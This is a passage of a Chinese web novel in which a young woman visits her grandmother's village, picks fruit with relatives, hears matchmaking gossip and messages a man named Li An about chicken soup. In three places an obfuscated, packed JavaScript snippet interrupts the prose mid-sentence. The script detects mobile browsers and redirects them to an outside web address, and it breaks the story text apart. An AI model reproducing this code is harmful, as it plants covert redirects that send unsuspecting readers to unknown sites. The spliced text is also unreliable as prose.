建国同志虽然开了很多年车，但他其实并没有真正意义上理解过堵车。 直到前边终于堵死，车死死停在原地，许流年叹口气，拍拍驾驶座椅背对她爸说：“我来开，您歇着吧。” 谁能比她一个经历三年早高峰晚高峰的人更懂堵车呢？ 建国同志很识相地换档拉手刹，跟做贼似的拉开驾驶座窜了出去。 许流年裹了裹身上的风衣，下车后无聊地扫了一眼前后的车流，跟她爸换了位置。 她爸这车她平时没怎么开过，但也差不多，都是自动挡，许流年上车后换上自己的音乐，等了会儿，车流开始动，她目视前方看着前面刹车灯一个个熄灭，提前预判松刹车，在侧方有人试图插队时一脚油门狠狠把人怼了回去，同时几乎是贴上了前车屁股。 这个距离，有点暧昧了。 不仅仅是暧昧，前车看起来挺新的，在她贴近后驾驶座探出一个脑袋回头看她，许流年正常回视表明没撞上。 建国同志扒拉着驾驶座靠椅试图离前座母女更近一些，“他看啥呢？” “车内安全系统一直在叫吧可能。”许流年说。 “为啥叫？” 建国同志的车很老了，没有这种新功能，360摄像头都没有，也是因为如此，建国同志练出了一手超凡卓绝的停车技术。 “因为我离他屁股太近了，他车一直在报警。” “噢……” 建国同志表示又学到了。 接下来许流年紧紧保持着暧昧的车距，严防死守，上了高速，在最左车道顶着超速一路狂奔，按照原计划的两个半小时抵达外婆所在的小镇。 建国同志两个半小时没敢休息，总觉得小心脏突突的。 王女士就很淡定。 她不晕车了。 还能投喂女儿吃点小零食。 深更半夜，一家人跟做贼似的进了村，她妈提前给外婆打了电话，刚到门口，小老太太就出来了，屋子灯都亮着。 外婆已经快八十，前两年外公走了，她一开始还不太适应，来江城跟他们住过一段时间，后来还是回了村里，毕竟她也割舍不下村里跟她一样的老头老太太，平时没事大家还能凑着一起搓搓麻将，——就是隔段时间可能就会走一个，麻将搭子并不固定。 外公在时就自己出钱把家里都好好装修了一番，一栋两层楼的房子，侧面一个小厨房，后边有大院子，前面也整平整了，规规矩矩还建了花坛，也方便停车。花坛是知道许流年喜欢种花特地建的，一开始许流年也并不是玩热植，她更喜欢月季铁线莲，是想有自己的小花园的。 可惜家里空间有限，只有一个阳台而且光照不足，想去楼顶养花，但每次放上去的花总是会被偷或是被扔烟头，后来她就干脆放弃，把自己这边苟延残喘的花趁着回外婆家一起带了过来，下地，地栽。 这些花本来就是适合地栽，这几年在院子里花坛里长势强劲，一开始许流年都是随便栽的，可是一个春天看见了效果之后就开始琢磨着规划，她跟外婆一起计划前边花坛该养什么，后院又该种些什么花草果树，几年下来，外婆家已经初具规模，后院的果树也能收获果子了。 大晚上的，许流年停好车，她爸妈早拎着满手的甜点礼盒迎上去，害她这个停车的两手空空，只能干笑。 “饿不饿啊？我给你们做饭吃点。”外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16553758|186831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 婆高兴他们回来，第一件事当然是关注他们的肚子。 “不饿不饿，太晚了，咱们洗洗睡了，吃什么吃，这里都是吃的。”王宛挽着她的胳膊，把手里的礼盒给许流年拿着，“都早点睡吧，明天你舅舅他们也回来的，怎么穿这么点？上次给你寄的新衣服没穿？手都是凉的……” 许流年打着哈欠进屋，跟回自己家似的。 外婆平时住一楼的大房间，每次许流年回来都是跟外婆睡，房间够大，也有Wi-Fi。 简单洗漱换了睡衣，许流年就钻进外婆早早给她铺好的被子。 这边气温要比江城低一些，晚上还是有点冷的，现在已经要盖棉被了。 外婆把东西都放桌上，看她直打哈欠叫她先睡，许流年哼唧两声：“你不过来我睡不着的。” 外婆就笑她，但是也放下手里的事过来睡觉，“你不嫌弃我有老人味啊？” 外婆会刷小视频，是个时髦的老太太，知道的特别多。 “没有啊。”许流年认真闻了闻，“不爱干净的老太太才有老人味，外婆是爱干净的模范老太太，当然没有味道。” 外婆被她哄得更高兴了。 快睡了，又偷偷摸摸问她缺不缺钱花。 “我每个月有两千多养老金呢，我又用不完，你要是缺钱跟我说。”老太太相当自信。 “正好我最近想买房，缺点钱，但是不多。”许流年笑道。 “缺多少？”外婆语气认真起来。 “真不多，六百多万吧。” “……臭丫头，梦里想你的六百万吧。” 许流年故意逗她，“其实咱们家一起买还是能拿下的，首付我就自己出了，月供两万一，您出两千，就剩一万九，那我跟我爸妈一平分一人一个月才六千多！” 老太太直接被子盖住脑袋装耳聋，不搭理她的碎碎念，睡觉去了。 许流年还故意在她耳边继续念：“也不多，您出一千八也行，那两百块算我的……” 老太太忍无可忍，“闭嘴吧，睡你的！” 许流年就没皮没脸地睡觉去了。 12. 第 12 章 昨天一整天的工作加开车，许流年今晚睡得格外香甜，可能身体也意识到即将迎来八天美好的假期，生物钟也没作祟，一觉睡到十点多，她才被院子里的鸡叫声吵醒。 鼻尖隐隐约约还有淡淡的香味。 许流年一睁眼，她妈王女士正好进屋拿东西，看她醒了让她赶紧收拾：“鸡汤煨好了，看你想吃糯米还是面条还是粉丝，马上就要弄了。” “糯米吧，给我加两颗红枣补补气血。” “行。”她妈应着拿了东西就出去了。 许流年悠闲裹着被子翻滚两圈，在床上哼哼唧唧半天才爬起来。 拿着手机看了下消息，大平层没再搭理她。 许流年一边洗漱一边想着怎么骚扰大平层，一抬头，就看见洗手间窗户外、也就是后院的葡萄架。 哦对，植物嘛。 她这里有一院子的植物。 正好葡萄无花果都成熟了。 今天家里亲戚会比较多，许流年穿得光鲜亮丽，一件深灰色大衣内里简单搭了件白衬衣跟花色小马甲，干净利落牛仔裤跟小皮靴，手上还戴了她常戴的和田玉白玉镯子，跟个刚从城里回来用力过猛的城巴佬似的时髦过头了。 然后出门就被她妈数落了。 “在村里穿这个干嘛，今天没冷到穿大衣！出去别被人笑死！到时候一会儿就热了，赶紧给你这破大衣脱了，给我去院子里摘两根葱。” 城巴佬许流年没时髦两分钟，就被迫脱了外套穿上大花罩衣扎起渣女波浪卷，下地摘葱了。 好在她妈说她这双靴子不错，皮的，耐脏，能下地。 她掐了两把鲜嫩的小葱，顺便在地旁边水龙头洗了给她妈送过去。 没多久，就吃上了热气腾腾的鸡汤煨糯米。 黄澄澄的鸡汤完全融入糯米中，鸡肉都被熬得碎烂，一丝一丝的，骨头很容易就能挑出来，上边还有将近小半碗的红枣，——看得出来她妈很想给她好好补一补了。 外婆家鸡汤都是在土灶里煨的，估计一大早就开始准备了，选的还是自家养的鸡，这一锅含金量直接到顶，许流年也只有在外婆家才能喝到这么好喝的鸡汤。 她提前吃了几颗红枣，构好图，然后拍了一张照片发给大平层。 不小心露出自己的花罩衣，刚想撤回，那边就发来消息。 李黯：好吃吗？ 许流年写了篇小作文来夸自家外婆做的鸡汤煨糯米。 总结：好吃到爆炸。 李黯：圭圭吵着想吃，能不能麻烦带一锅回来？我出费用。 许流年心想，真的是圭圭吵着想吃吗？ 但她没戳破，先问了下外婆有没有多的能让她带回去。 “一个朋友跟他侄子想吃，小孩子肠胃不好刚出院。” 外婆听了就重视起来，“那等你们回江城那天我再煨一锅给你们带回去。” 本来每年来外婆家都是要专门带一锅鸡汤回去慢慢吃的，李黯这锅算是顺带。 许流年转述了外婆的话。 那边直接转过来五千块。 下乡牛马：太多了，就当我请你吃饭了，不用转我钱。 李黯：给外婆的辛苦费。 许流年就去找外婆给她看聊天记录。 小老太太老花，把手机拿远了再看这一串消息，看着五千块明显有点心动，眼睛滴溜转呢但嘴上还是说：“既然是你朋友就不收钱啦。” 许流年及时补充：“没有很熟哦～” “咳咳，那收了吧，是我应得的辛苦费。” 许流年就笑，“行嘞，我给您收了转您微信？还是我去趟银行给您提现金？” 外婆会用微信，但是不敢在上边放太多钱，生怕钱被手机吃了，但是一下子拿五千块现金放家里也挺吓人的。 “放微信吧，”外婆说，“我留着过段时间也要备年货了，花得出去。” “行。”许流年就收了转给她，又给李黯发外婆收转账的截图。 下乡牛马：外婆收了。 李黯：嗯。 下乡牛马：我五号回江城，那时候你在吗？ 李黯：在，到了给我定位我去拿。 下乡牛马：OK～ 家里爸妈跟外婆都在备菜，她爸忙着打扫卫生，没许流年事干，她就被安排了去后院摘葡萄跟无花果，再看看橘子熟了没，马上舅舅跟小姨来了也是要摘的，到时候大家一起分一分带走。 外婆家后院规模很不小。 至少有百来平了，周围砌了院墙，原本全是竹子，后来她跟外公一起清理干净，平整了地面，开了菜地，种了果树，还跟外婆一起规划了花坛，只是竹子一下子除不干净，每年她跟她爸都得清理一遍，今年已经好很多，竹子几乎绝迹。 只是这个季节没什么花看，大部分花都要步入休眠了。 许流年到着就跟牛马到了大草原一样，浑身都是劲，也不剪什么葡萄，先去修剪花坛里的月季，再清理枯叶杂草丢到一边，干得热火朝天。 直到屋子一下子热闹起来，她妈喊她去外边，许流年就这么穿着花罩衣戴着园艺手套抓着修枝剪跟舅舅小姨两人家碰上了，大家都笑她。 ……早知道就穿早上那套了。 多时髦啊。 “年年感觉又长高了，越来越漂亮了。”小姨笑着过来拉她手，发现她手套上全是泥就拉袖子，仔仔细细看了一遍，“就是瘦了，怪可怜的，喝鸡汤了吗？回家可要好好补补。” “吃了两碗呢。”许流年抬脚秀自己的新鞋，“鞋子有点跟，最近是不可能长高咯。” “表姨你在干什么呀？是摘葡萄吗？” 舅舅家已经有个小孙子了，虎头虎脑的三岁小男孩，今天穿了套帅气的牛仔套装，仰头拉着许流年的花罩衣一脸好奇。 “摘葡萄呢，你要一起吗？” 小姨家的表妹也只比许流年小三岁，也一起过来凑热闹。 屋子里大人吃饭说话，她带着小孩去后院玩。 院子里的葡萄架扩了又扩，几乎要爬过院墙到旁边的大樟树上，长得实在是太凶了，许流年跟表妹一起摘，她的小外甥就拿着篓子装，大家干活效率还挺高。 偶尔还能听见屋子里大人们聊得火热，估计又是哪家的八卦消息，许流年隐隐约约又听到自己的名字。 她舅不爱掺合八卦消息，她爸倒是很喜欢，所以没多久，舅舅就来院子里帮忙搬葡萄，又给他们拿凳子去摘无花果，担心他们够不着，亲自爬树去摘。 许流年说要拿梯子：“无花果枝条很脆的，不能乱爬，容易断。” 小外甥就抱着他爷爷的腿不让他爬，非得让他去拿梯子，生怕他爷爷从树上摔下来。 “我要告诉我妈！”小外甥瘪着嘴。 舅舅拿他没办法，只能去搬梯子。 屋内屋外都有事干，忙活了两个多小时，他们才收割完院子里的水果。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16553759|186831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>无花果不多，有些有点烂被虫子咬了的他们就拿进去大家不嫌弃分了吃了，那些完整的大家再分一分带回家去吃，小外甥格外喜欢吃无花果，就多给了他们家一些，另外葡萄特别多，三家均分，反正都有车，方便带走，橘子成熟的不太多，摘了一部分大家分，剩下的给外婆留着慢慢吃，或者送给邻居。 分完东西，又说起八卦。 许流年这才知道为什么她总觉得他们提起了她。 不出意外的，是想趁着国庆七天假给她介绍相亲对象。 舅妈好闺蜜的朋友朋友的儿子，家里独生子，比许流年大五岁，自己有个小厂当老板，挺有钱的，虽说有点小胖但个子不矮，有一米七五，——认证过的一七五。 不过这个已经被小姨pass掉了，因为据小姨所知这个小老板是个二婚。 舅妈对此一无所知，骤闻此消息相当稀奇，大家就热火朝天说起这家的八卦。 小姨说这家上梁不正下梁歪。 “他爸就是在外边乱搞养小三，他也有样学样，今年三十多了吧，之前是结了婚了，后来离婚出轨，女方坚决要离婚，拖了一年多吧，还是离了。”小姨边嗑瓜子边说。 “他打量着他自己家，他妈憋着不离婚一家子也能过，结果没想到人家姑娘那么有骨气，硬是退了彩礼必须离，说是……觉得他恶心，说他们一家都恶心。”小姨吃着橘子继续说。 “他脑子就是有问题，他妈不离婚是为啥？还不是为了钱，他妈是个家庭主妇，这么多年了也没工作过，离了婚能干啥？他老婆又不是没工作，两人还没孩子，这都敢在外边乱搞，要我我也离，赶紧离，万一不小心有了孩子一辈子就完了！”小姨吃着无花果接着补充发表自己的观点。 舅妈：“就是就是，家风不正！那这个不行。” 小姨：“之前也有几个说要给年年介绍，我看了下，条件都不怎么样，配不上我家年年。” 许流年吃着葡萄点头表示赞同。 小姨又看向她妈：“你上次不是说给年年介绍个海龟吗？” 王宛：“他们不合适，介绍给别人了。” 因为一顿馄饨，就给别人了。 “诶，那谁谁家是不是也有个儿子，三十多了吧，年纪应该合适。”小姨父听了半天突然出声。 小姨：“谁谁啊，说清楚，嘀嘀咕咕的讨人嫌。” 小姨父想了想又摇头：“算了，那家家里情况挺复杂。” 小姨更不耐烦了：“干嘛呢，起了个头又不说了，磨磨唧唧，不合适你说说人家家里八卦也行啊，赶紧滴。” 小姨父就说了。 其实他也只是知道这个消息，跟这家人并不算很熟悉，也是通过别人了解的。 “他们家本来在江城还挺有名的，你应该知道，那是个大老板吧，搞房地产的，他老婆也做生意，后来就信佛了，你知道就跟那谁谁一样……” 许流年听了个大概。 这个做生意的女人怀孕后一直开始吃素，说是要还愿，然后孩子七八岁的时候不知道什么缘故夫妻俩闹了矛盾，离了婚，孩子跟了父亲，后来她又怀过一个，继续吃素，结果孩子没了，近几年也没再听到她的消息，只是听说生意也越来越不行，还欠了一大笔钱。 “肯定是信了些乱七八糟的。”小姨评价，“那这个不行，别害我们家年年。” 许流年吃了一大口瓜，直打饱嗝。 果然还是村里精彩啊。 13.第 13 章 许流年抽空拍了今天摘下来的水果，聊完八卦小姨舅妈又去院子里摘菜，许流年跟着玩，又拍了几张，凑齐九宫格发朋友圈。 晚饭一家子一起吃，吃完饭舅舅舅妈就要回去了，他们家离得近，就住城里，开车半小时就能到，小外甥还想在村里玩，可惜明天他爸妈就回来了他得跟爸妈去他外婆家，没办法在这边过夜，小姨跟表妹今天留在这，小姨父有事得先回去，到时候许流年一家再带上小姨跟表妹回江城。 今晚就是许流年跟表妹一起睡，小姨跟外婆睡。 换了新床许流年还不太乐意，被小姨赶走，“你都睡一天了，这几天轮到我了，你们小姑娘自己玩去吧！” “每次都跟我抢，小姨你是长辈，能不能让着点我。”许流年当面蛐蛐她。 “去去去，尊老爱幼懂不懂，别跟我抢，赶紧收拾东西去隔壁！” 外婆夹在两人中间笑。 许流年时候还是搬了，把自己的行李从外婆房间搬到隔壁，跟表妹一起。 正好，她带了一些东西要给表妹。 许流年深深踩进消费主义陷阱，从大学时期开始就热衷于花钱买各式各样的彩妆护肤品以及各种小玩意，但她只有一张脸，也只有两个手腕一个脖子，东西根本用不过来，而且时间久了她审美变了这些东西她也不再喜欢，就会打包带来外婆家分给妹妹们。 她们平时关系好，不会在乎什么用过没用过，每次表妹都很开心。 “嘿嘿，今天琴琴没来都是我的！” 琴琴是舅舅家的女儿，也是许流年的表妹，这个十一跟朋友出门旅行了所以没来这边。 表妹趴在床上嘶哈嘶哈快要流口水，看着许流年从自己包里掏出一塑料袋的小玩意。 “这个口红前几年还挺火的，但是我年纪大了不适合用这个橘色，就试色用过几次，就没用了，基本上都是新的。”许流年一个个介绍。 她每次看网图种草下手贼快，到家试一次还不死心，觉得只是自己今天的妆容不适合这个色号而已，下次换个妆就适合，结果就是每次试都不行。 因为她就是不适合这种橘色调，她适合暖棕或者玫瑰粉，不适合橘调跟紫调的口红，这次她终于认命，把这些用不上的都带过来了。 “这个香水我也不常用，白花我闻着头晕，你看看你能接受吗。” “我能我能，这个牌子还挺贵的呢！表姐对我真好！”表妹恨不得趴在她身上，又忙着试香水试口红。 “还有几件衣服，不知道你喜不喜欢，下次我给你拍照看看，喜欢的话就给你寄过去。” “行！” 她们有微信，只是平时不怎么聊天而已。 细数完许流年带来的东西，两人躺在床上聊天。 “姐，我明年就要读博了。” 表妹深深叹口气。 “哇哦。”许流年表示鼓励。 “其实我也不太想读博，太累了，而且我周围同学都毕业工作了，我还得找家里要钱读书……”表妹瘪着嘴，“我妈想我考公，读完研也能考公嘛，但她又不肯，说咱们家里从来没有博士……问题是我一个普通一本，博士也没什么用啊……” 许流年听完：“……还是有点用的。” 她给小表妹好好分析了一番。 有个博士title，以后考编考研都行，再说他们家里经济状况并不算紧张，小姨只有她一个女儿，自然是举全家之力捧着，要是能顺利读完博，说出去也面上有光嘛。 再说了，能在学校多待几年日子过舒服点挺好的，表妹就是在学校待久了，觉得腻歪了，想进入社会遭受毒打。 许流年以身作则，给她仔仔细细讲了当今牛马的日常生活。 “我平时上班都得七点半起床，收拾完开车一个半小时到公司九点打卡，现在还得加班到晚上九点下班，又是一个半小时到家，回家收拾一下就十一点了，你知道我上次这个作息是什么时候吗？是我高三备考时期。” “你想想，你要是不读书，出来进厂就是一辈子的高三。” “上边有领导画大饼，加班不给加班费折算工时说是可以凑调休，结果半年一清算，根本不给你休假的机会，折算成钱也是按基本工资算，这几百块钱我用得着辛苦加班来换？” “等你干了几年稍微有点经验了，再给你安排两个刚毕业的实习生，你知道实习生吗？比小学生都还难带！还得被关系户拖后腿，项目进展不下去，还得抽空教她怎么用Excel……” 表妹听完再也不说什么不读博了。 “哦！差点忘了！” 两人正准备睡前开一局游戏，表妹突然一个咸鱼打挺从床上蹦了起来，插上拖鞋就去了隔壁，然后又风风火火哒哒跑过来。 “这是我同学，她在地大，那天正好我去看他们作品展，这个手链宝石都是真的，就是可能品质不是很好，我看设计很漂亮，而且东西不差，觉得很适合你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这次她终于没忘记给大平层带鸡汤这事，在车上给他发消息。 牛马进城：我今天回家。 李黯秒回：几点到？ 牛马进城：但是我把东西放完就得去我大伯家。 李黯：？ 牛马进城：所以只能明天看情况把鸡汤给你送过去了。 李黯：为什么去你大伯家？ 牛马进城：他们家打起来了，我家现在开车赶去看热闹。 李黯：6 过了会儿，他又发来消息。 李黯：为什么打起来？